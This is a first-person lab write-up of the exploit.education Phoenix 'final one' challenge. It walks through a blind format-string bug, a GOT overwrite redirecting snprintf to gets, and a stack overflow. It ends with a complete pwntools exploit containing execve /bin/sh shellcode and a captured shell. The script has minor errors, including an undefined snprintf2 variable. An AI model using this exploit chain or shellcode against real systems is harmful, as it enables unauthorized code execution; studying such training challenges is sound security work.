- I have been trying to pwn the challenge final 1 for nearly a day and a half now and i don't seem to have made any progress , so i will write what i find here so i can hopefully link the dots
context
- we will be working on the 32 bit version
analysis
- the first thing i did was read the source code:
#include <arpa/inet.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <syslog.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char username[128];
char hostname[64];
FILE *output;
void logit(char *pw) {
char buf[2048];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n",
hostname, username, pw);
fprintf(output, buf);
}
void trim(char *str) {
char *q;
q = strchr(str, '\r');
if (q) *q = 0;
q = strchr(str, '\n');
if (q) *q = 0;
}
void parser() {
char line[128];
printf("[final1] $ ");
while (fgets(line, sizeof(line) - 1, stdin)) {
trim(line);
if (strncmp(line, "username ", 9) == 0) {
strcpy(username, line + 9);
} else if (strncmp(line, "login ", 6) == 0) {
if (username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
int testing;
void getipport() {
socklen_t l;
struct sockaddr_in sin;
if (testing) {
strcpy(hostname, "testing:12121");
return;
}
l = sizeof(struct sockaddr_in);
if (getpeername(0, (void *)&sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp) {
if (argc >= 2) {
testing = !strcmp(argv[1], "--test");
output = stderr;
} else {
output = fopen("/dev/null", "w");
if (!output) {
err(1, "fopen(/dev/null)");
}
}
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("%s\n", BANNER);
getipport();
parser();
return 0;
}
- it is obvious that the vulnerability is in the function logit , exacly in the call to
fprintf, because we control username and pw and by extension part of buff . - the thing that is both fun and frustrating here is that all the information that we could read by placing format specifiers (eg. %p) in buff is redirected to
outputwhich points to/dev/null, our data and with it our sweet feedback goes to oblivion , this is what is meant with the word blind . - the text before username and pw that includes the hostname can cause alignement errors, however , a simple calculation tell me that putting a single space before the data in username makes whatever addresses put after it in perfect alignment when things are copied into buff.
- also for some context , here is the disassembly of
logit:
push ebp
mov ebp,esp
sub esp,0x808
sub esp,0x8
push DWORD PTR [ebp+0x8]
push 0x8049ee0
push 0x8049f80
push 0x8048b40
push 0x800
lea eax,[ebp-0x808]
push eax
call 0x8048560 <snprintf@plt>
add esp,0x20
mov eax,ds:0x8049f60
sub esp,0x8
lea edx,[ebp-0x808]
push edx
push eax
call 0x80485a0 <fprintf@plt>
add esp,0x10
nop
leave
ret
planning the exploit
- the idea behind this exploit was polished by the circumstances of this challenge , examining the core dump i found i can do arbitrary write to any memory , but the number that i can write with
%nis itself limited since i can only put around 250 characters in the login and username variables, so if i am doing partial writes to an address , the range i can work with is something between 20 and 250 , so searching in the core dumps i had an idea that thrilled me is someone who is just starting in this , what if i could create another , more powerful , easy to exploit vulnerability using my kind of hard format string one ? - now just follow with me , we know that the first argument given to the function
snprintfisbuf, so if we can somehow replace the got entry ofsnprintfwith the address ofgets, i can write whatever i want to buff with no bounds , a classic stack based buffer overflow ! - examining with
gdb:
notice : set a break point and runt he program with --test , the addresses of the functions change at runtime .
(gdb) i functions snprintf
Non-debugging symbols:
0x08048560 snprintf@plt
(gdb) disassemble 0x08048560
Dump of assembler code for function snprintf@plt:
0x08048560 <+0>: jmp DWORD PTR ds:0x8049e4c
(gdb) x/w 0x8049e4c
0x8049e4c <snprintf@got.plt>: 0xf7fb8b69
- the address of the function
snprintfis0xf7fb8b69 - and to get the address of
gets:
(gdb) i functions gets
All functions matching regular expression "gets":
Non-debugging symbols:
...
...
0xf7fb7db3 gets
...
...
-
i did not do the same diging process because this is not in the
plt, since it is not used in the code , for more see plt , so the address of gets is0xf7fb7db3, and the address ofsnprintfis0xf7fb8b69, notice the first two bytes are identical ? and more good news , in the bytes that are different , the number we wanna write to the address ofsnprintfto make it the same isgetsaddress are7dandb3, in decimal 125 and 179 , both in our writable numbers range ! , in theory this is 100% working . -
now that we found a good approach , let's lay down our plan, first we will solve our alignment issue , remember ,what we wanna write in the stack the address of the address of
snprintf, because the format specifier%nwrites to the memory in the address it find so on the stack , not to the stack itself , many confuse this , it simply writes the number of character written so far in the location pointed to by the argument given to it , which is a pointer laying in the stack , but the catch is , the argument is the stack in 32 bit programs should be aligned to 4 bytes , meaning they reside in a stack offset that is a multiple of 4 ,the reason for this is that due to calling conventions ,variadicfunctions likesnprintfread from the top of the stack of the caller function (the address inesp), and increase by 4 to find the next argument , when you want the nth argument , it simply access the addressesp+n*4 ,so if our address that we put in the stack to modify its content is not placed right , the function wont be able to interpret it . -
according to the disassembly of logit , this is the stack layou (yes buf is 2056 bytes in the assembly as opposed to 2048 in the code, this will be important in the exploit):
+----------------------------+ <- Lower memory (stack grows down)
| Return Address (ret) |
+----------------------------+
| Saved EBP |
+----------------------------+
| Buf[2056] |
| (2056 bytes) |
| ... |
+----------------------------+
| Blank / Padding (8 bytes) |
| |
+----------------------------+
| Address of Buf (4B) |
+----------------------------+
| Pointer to Output (4B) |
+----------------------------+ <- Higher memory
- the
snprintfreads from the position above the buffer address , meaning if we give it%lf %lfit will read from the blank 8 bytes , then , 8 bytes frombuf - our address that we wanna put there is in the variable username , which is written to
bufwith this"Login from %s as [%s] with password [%s]\n",hostname, username, pw);, we will assume thathostnameis the largest possible length i could take , which is the same length as 255.255.255.255:65535 (if it does not, we pad it to be the same length in the script) , this as done so we dont have unknown variation between machines - a side note : what we are writing to the stack is the address of the address of
snprintf, the got entry , that's why the variablessnprintfandsnprintf 2are not he same as the address ofsnprintf, one points to the first byte in the address and the other to the second.
the exploit
- after some long trial and error (that any binary exploiter should experience), i figured out that after the padding of the address, we should also add 3 character, and then put the address of
snprintf, after that , the format%lf%lf%lf%lf%x%x%x%x, puts us right on the first bit of the address , some playing around to print the exact number of character is necessary , also we will print to the address ofsnprintf+1 , remember that we got to change the first two bytes (first because of the endianness, and after a successful address modification the rest is a straight forward stack buffer overflow, after that i was left with this very not ugly python exploit :
#/usr/bin/python
from pwn import *
#phase 1 , replacing fgets with gets using the format string
#connection to the daemon and setting the padding
#for hostname that we dicussed earlier
targetsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
targetsocket.connect(('localhost',64014))
exploited = remote.fromsocket(targetsocket)
(myaddr,myport) = targetsocket.getsockname()
hostname = str(myaddr)+':'+str(myport)
padding = 21 - len(hostname)
snprintf = p32(0x08049e4c)
snprintf = p32(0x08049e4c+1)
space = b' '
#this gets us to the exact location we put the adresses
readtoplace =b"%lf%lf%lf%lf%x%x%x%x"
#this writes the amount of characters written so far at
#the first byte in the address at the location we are at
writecmd = b"%hhn"
username = b"username "+(padding+3)*'g'+snprintf2+snprintf+9*b'a'+readtoplace+b'\n'
login = b"login " +writecmd+54*b'a'+writecmd+b'\n'
try:
exploited.send(username)
exploited.recvuntil("[final1] $ ")
exploited.send(login)
exploited.recvuntil("[final1] $ ")
except Exception as e:
print(e)
exit()
#phase 2 , the stack buffer overflow with
#now that we replace the function snprintf with gets
#we will give some bogus username and login just to
#execute the function logit and get the gets to buf
#resending credentials so we can get to gets
#(snprintf previously)
exploited.send(username)
exploited.recvuntil("[final1] $ ")
exploited.send(login)
exploited.recvuntil("[final1] $ ")
#buf is 2048 in the c code but 2056 in the asm
bufsize = 2056
#bufaddr = p32(0xf7ffb660)
bufaddr = p32(0xffffd490)
shellcode = b"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = shellcode + (bufsize-len(shellcode)+4)*b'z'+bufaddr
try :
exploited.send(payload)
exploited.interactive()
except Exception as e:
print(e)
exit()
- running this script we get :
user@phoenix-amd64:~/finalone$ python remotexploit.py
[*] Switching to interactive mode
$
$ whoami
phoenix-i386-final-one
epilogue
- we did it guys ! , and we did it super cool .